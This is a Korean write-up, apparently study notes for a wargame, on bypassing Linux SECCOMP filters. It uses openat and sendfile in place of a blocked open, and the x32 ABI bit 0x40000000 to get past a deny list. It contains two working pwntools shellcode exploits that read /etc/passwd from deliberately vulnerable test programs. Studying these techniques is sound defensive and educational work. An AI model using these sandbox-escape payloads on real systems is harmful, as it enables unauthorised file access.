Bypass SECCOMP
SECCOMP는 시스템 콜 뿐만 아니라 전달되는 인자까지 추적하고 비교할 수 있다.
인자를 비교하는 것은 많은 예외 상황이 있을 수 있기 때문에 많은 개발자들은 시스템 콜을 호출하지 못하도록 설정한다.
해당 기술이 적용된 바이너리를 우회하는 방법은 상황에 따라 여러 가지이기 때문에 많은 분석과 공격 경험이 필요하다.
타 시스템 콜 호출
같은 기능을 하는 서로 다른 시스템 콜이 몇 가지 존재한다.
예를 들어, 파일을 열기 위해서 사용하는 시스템 콜은 대표적으로 open이 있는데, 같은 기능을 수행하는 openat이 있다.
만약 규칙이 open 시스템 콜을 호출하지 못하도록 정의되어 있다면 openat을 사용해 개발자가 의도하지 않은 행위를 할 수 있다.
Application Binary Interface (ABI)
우리가 자주 사용하는 x86, x86_64 외에도 다양한 아키텍처가 존재한다.
아키텍처 별로 명령어 세트와 기능, 크기 등이 다르기 때문에 애플리케이션 운영 목적에 따라 알맞는 아키텍처를 선택해 사용한다.
따라서 커널 코드는 이 모든 것을 고려한 코드로 작성되어 있다.
64 비트 운영 체제에서 32 비트 애플리케이션을 호환하는 것 또한 이에 포함된다.
중요한 것은 아키텍처 별로 시스템 콜 번호가 다른 점과 서로 다른 아키텍처를 호환하기 위한 코드를 이용해 우회를 할 수 있다는 것이다.
분석
간단히 예제 코드를 분석해보았다.
// Name: bypass_syscall.c
// Compile: gcc -o bypass_syscall bypass_syscall.c -lseccomp
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void sandbox() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);
seccomp_load(ctx);
}
int main(int argc, char *argv[]) {
void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
memset(shellcode, 0, 0x1000);
printf("shellcode: ");
read(0, shellcode, 0x1000);
sandbox();
sc = (void *)shellcode;
sc();
}
아래는 실행 결과이다.

해당 코드는 읽기, 쓰기, 실행 권한이 있는 페이지를 할당하고 이용자로부터 입력받은 값을 실행한다.
sandbox 함수를 살펴보면, ALLOW 리스트 기반으로, 시스템 명령어를 실행하는 execve와 파일을 열고 쓰는 open, write 시스템 콜을 사용할 수 없다.
익스플로잇 설계
1. 시스템 콜 찾기
같은 기능을 하는 시스템 콜이 있는지 확인해야 한다.
시스템 콜에 대한 정보는 아래 링크에서 확인해볼 수 있다.
https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
Linux System Call Table for x86 64 · Ryan A. Chapman
Linux 4.7 (pulled from github.com/torvalds/linux on Jul 20 2016), x86_64 Note: 64-bit x86 uses syscall instead of interrupt 0x80. The result value will be in %rax To find the implementation of a system call, grep the kernel tree for SYSCALL_DEFINE.\?(sysca
blog.rchapman.org
open은 파일을 열기 위한 시스템 콜로, 이와 같은 역할을 수행하는 openat 시스템 콜이 존재한다.
두 시스템 콜은 파일을 열고 파일 디스크립터를 반환한다는 점에서 비슷하지만, openat은 전달된 인자인 dirfd를 참조해 해당 경로에서 파일을 찾는다.
2. 시스템 콜 호출
시스템 콜을 호출하기 전에 시스템 콜의 인자를 확인해야 한다. openat 시스템 콜의 원형은 다음과 같다.
int openat(int dirfd, const char *pathname, int flags, mode_t mode);
해당 시스템 콜의 매뉴얼을 읽어보면, 두 번째 인자인 pathname이 절대 경로로 명시되어 있을 경우 첫 번째 인자인 dirfd가 무시된다는 내용이 있다. 따라서 해당 시스템 콜의 번호를 알아내고 두 번째 인자에 파일 경로 문자열의 주소를 전달하면 파일의 내용을 읽을 수 있다.
시스템 콜 호출
시스템 콜을 이해했다면 해당 시스템 콜을 호출하는 셸코드를 작성한다.
openat 시스템 콜을 호출할 때는 두 번째 인자에 절대 경로로 읽을 파일명의 주소를 전달하고, 이외 인자를 NULL로 초기화한다.
인자를 알맞게 전달하기 위해 콜링 컨벤션을 다시 한번 되짚어보고 셸코드를 작성한다.
아래는 bypass_seccomp 예제의 SECCOMP를 우회한 익스플로잇 코드이다.
# Name: bypass_seccomp.py
from pwn import *
context.arch = 'x86_64'
p = process("./bypass_seccomp")
shellcode = shellcraft.openat(0, "/etc/passwd")
shellcode += 'mov r10, 0xffff'
shellcode += shellcraft.sendfile(1, 'rax', 0).replace("xor r10d, r10d","")
shellcode += shellcraft.exit(0)
p.sendline(asm(shellcode))
p.interactive()
코드를 살펴보면, open과 비슷한 기능을 수행하는 openat 시스템 콜을 호출한 것을 확인할 수 있다.
또한, 파일의 내용을 출력하기 위해 sendfile 시스템 콜을 사용했다.
해당 시스템 콜의 원형은 다음과 같다.
ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
읽을 파일의 FD를 두 번째 인자인 in_fd에 삽입하고, 표준 출력(STDOUT)의 FD인 1을 out_fd에 삽입하면 파일의 내용을 읽을 수 있다.
아래는 실행 결과이다.

파일의 내용을 읽은 것을 확인할 수 있다.
ABI
SECCOMP 라이브러리 함수를 사용한 바이너리를 seccomp-tools로 확인해보면 코드에서는 정의하지 않은 비교 구문을 확인할 수 있다.

이전 실습 코드를 살펴보면 시스템 콜 번호가 0x40000000 보다 큰지 검사하는 코드는 존재하지 않는다.
그러나 seccomp-tools를 통해 적용된 규칙을 확인해보면 이러한 비교 구문이 추가되어 있다.
반면에 secbpf_dlist.c와 같이 라이브러리 함수를 사용하지 않은 예제의 경우 해당 비교 구문이 없는 것을 확인할 수 있다.

결과를 비교해보면, SECCOMP 라이브러리 함수에서 시스템 콜 번호의 값을 비교하는 구문을 추가한다는 것을 알 수 있다.
이러한 비교 구문이 왜 추가되었는지 알아보고 해당 비교가 없을 때 어떻게 우회하여 공격할 수 있는지 알아보았다.
시스템 콜 호출 방식
x86-64와 x32, 두 개의 ABI는 같은 프로세서에서 동작한다.
모두가 알고있듯 x86-64에서는 32 비트 명령어를 호환할 수 있다.
SECCOMP를 사용한다면 아키텍처를 명시할 때 AUDIT_ARCH_X86_64라는 이름으로 정의된 매크로를 사용한다.
이는 리눅스 커널에서 x86-64와 x32를 동시에 일컫는 아키텍처 필드명이지만 두 개의 ABI는 명백히 다른 아키텍처이다.
리눅스 커널은 이들을 구별하기 위해 시스템 콜 번호에 특정 값을 사용하는데, 이 값이 0x40000000이다.
__visible noinstr void do_syscall_64(struct pt_regs *regs, int nr)
{
add_random_kstack_offset();
nr = syscall_enter_from_user_mode(regs, nr);
instrumentation_begin();
if (!do_syscall_x64(regs, nr) && !do_syscall_x32(regs, nr) && nr != -1) {
/* Invalid system call, but still a system call. */
regs->ax = __x64_sys_ni_syscall(regs);
}
instrumentation_end();
syscall_exit_to_user_mode(regs);
}
위 코드는 리눅스 커널에서 시스템 콜을 호출하기 위한 do_syscall_64 함수이다.
코드를 살펴보면, 시스템 콜과 레지스터를 do_syscall_x64 전달해 호출하고, 이후에 do_syscall_x32를 호출한다.
이는 x86-64의 시스템 콜 호출에 실패하면 x32 ABI에서 다시 한번 호출을 시도하는 코드임을 알 수 있다.
do_syscall_x64
static __always_inline bool do_syscall_x64(struct pt_regs *regs, int nr)
{
/*
* Convert negative numbers to very high and thus out of range
* numbers for comparisons.
*/
unsigned int unr = nr;
if (likely(unr < NR_syscalls)) {
unr = array_index_nospec(unr, NR_syscalls);
regs->ax = sys_call_table[unr](regs);
return true;
}
return false;
}
위는 x86-64에서 시스템 콜을 처리하는 do_syscall_x64 함수이다.
코드를 살펴보면, 호출하는 시스템 콜 번호가 시스템 콜 갯수를 초과하는지 비교하고 초과하지 않는다면 시스템 콜을 호출한다.
do_syscall_x32
static __always_inline bool do_syscall_x32(struct pt_regs *regs, int nr)
{
/*
* Adjust the starting offset of the table, and convert numbers
* < __X32_SYSCALL_BIT to very high and thus out of range
* numbers for comparisons.
*/
unsigned int xnr = nr - __X32_SYSCALL_BIT;
if (IS_ENABLED(CONFIG_X86_X32_ABI) && likely(xnr < X32_NR_syscalls)) {
xnr = array_index_nospec(xnr, X32_NR_syscalls);
regs->ax = x32_sys_call_table[xnr](regs);
return true;
}
return false;
}
위는 x32 명령어를 호환하는 do_syscall_x32 함수이다.
코드를 살펴보면, 호출하는 시스템 콜 번호에서 __X32_SYSCALL_BIT 값을 뺀 시스템 콜 번호를 사용한다.
해당 매크로의 값은 0x40000000로 정의되어 있다.
ABI 시스템 콜 호출 실습
// Name: bypass_secbpf.c
// Compile: gcc -o bypass_secbpf bypass_secbpf.c
#include <fcntl.h>
#include <linux/audit.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
#define DENY_SYSCALL(name) \
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 0, 1), \
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)
#define MAINTAIN_PROCESS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW)
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
/* architecture x86_64 */
#define ARCH_NR AUDIT_ARCH_X86_64
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int sandbox() {
struct sock_filter filter[] = {
/* Validate architecture. */
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr),
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0),
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
/* Get system call number. */
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),
/* List allowed syscalls. */
DENY_SYSCALL(open),
DENY_SYSCALL(openat),
DENY_SYSCALL(read),
DENY_SYSCALL(write),
DENY_SYSCALL(vfork),
DENY_SYSCALL(fork),
DENY_SYSCALL(clone),
DENY_SYSCALL(execve),
DENY_SYSCALL(execveat),
MAINTAIN_PROCESS,
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
.filter = filter,
};
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) {
perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
return -1;
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
perror("Seccomp filter error\n");
return -1;
}
return 0;
}
int main(int argc, char *argv[]) {
void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
memset(shellcode, 0, 0x1000);
printf("shellcode: ");
read(0, shellcode, 0x1000);
sandbox();
sc = (void *)shellcode;
sc();
}
간단히 예제 코드를 분석해 보았다.

위의 코드는 읽기, 쓰기, 실행 권한이 있는 페이지를 할당하고 이용자로부터 입력받은 값을 실행한다.
sandbox 함수를 살펴보면, DENY 리스트 기반으로, DENY_SYSCALL 매크로의 인자로 전달되는 시스템 콜을 호출할 수 없다.
익스플로잇 설계
1. 시스템 콜 호출
사용할 수 있는 시스템 콜을 먼저 찾아야 한다.
정의된 규칙에 시스템 콜이 명시되어 있지 않더라도 특정 시스템 콜이 호출되면서 내부에서 사용하는 또 다른 시스템 콜을 호출하면서 프로그램이 종료될 수 있다.
예를 들어, execve 내에서 openat 시스템 콜을 사용하기 때문에 프로그램에서 openat를 거부하고 execve 시스템 콜을 허용할 때 execve 시스템 콜 호출 자체는 가능하지만 시스템 콜이 정상적으로 수행되지 않는다.
따라서 시스템 콜의 의존성이 과할 경우 호출할 수 없는 가능성이 매우 크다.
open, read, write는 타 시스템 콜에 의존하지 않고 실행할 수 있다.
프로그램에서 해당 시스템 콜의 호출을 거부하지만 do_syscall_x32 함수에서 실행할 수 있으므로 해당 시스템 콜을 호출해 임의 파일을 읽어야 한다.
공격에 사용할 시스템 콜을 이해했다면 시스템 콜을 호출하는 셸코드를 작성한다.
# Name: bypass_secbpf.py
from pwn import *
context.arch = 'x86_64'
p = process("./bypass_secbpf")
data = '''
mov rax, 2
or rax, 0x40000000
lea rdi, [rip+path]
xor rsi, rsi
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x1000
xor rax, rax
or rax, 0x40000000
syscall
mov rdi, 1
mov rsi, rsp
mov rax, 1
or rax, 0x40000000
syscall
path: .asciz "/etc/passwd"
'''
p.sendline(asm(data))
p.interactive()
open, read, write 시스템 콜을 사용해 “/etc/passwd” 파일을 읽는 익스플로잇 코드이다.
시스템 콜을 호출하는 방식은 비슷하지만 시스템 콜 번호를 삽입할 때 or rax, 0x40000000 명령어가 존재한다.
이는 do_syscall_x32 함수 즉, x32 모드로 시스템 콜을 호출하기 위함이다.
익스플로잇 코드를 실행하면 다음과 같이 원래는 실행할 수 없던 open, read, write 시스템 콜을 실행해 “/etc/passwd”를 읽은 것을 확인할 수 있다.

마치며
- 샌드박스(Sandbox): 외부의 공격으로부터 시스템을 보호하기 위해 설계된 기법
- SECure COMPuting mode (SECCOMP): 리눅스 커널에서 프로그램의 샌드박싱 매커니즘을 제공하는 컴퓨터 보안 기능
- Berkeley Packet Filter (BPF): BPF는 커널에서 지원하는 Virtual Machine (VM)으로, 본래에는 네트워크 패킷을 분석하고 필터링하는 목적으로 사용됨
- Application Binary Interface (ABI): 애플리케이션과 운영 체제 간에서 사용하는 저수준 인터페이스로 프로그램의 메모리 사용량을 줄일 수 있을 뿐만 아니라 프로그램 실행 속도도 향상됩니다.
워게임 : Bypass SECCOMP-1

위에서 작성한 익스플로잇 코드를 바탕으로 문제를 해결했다.
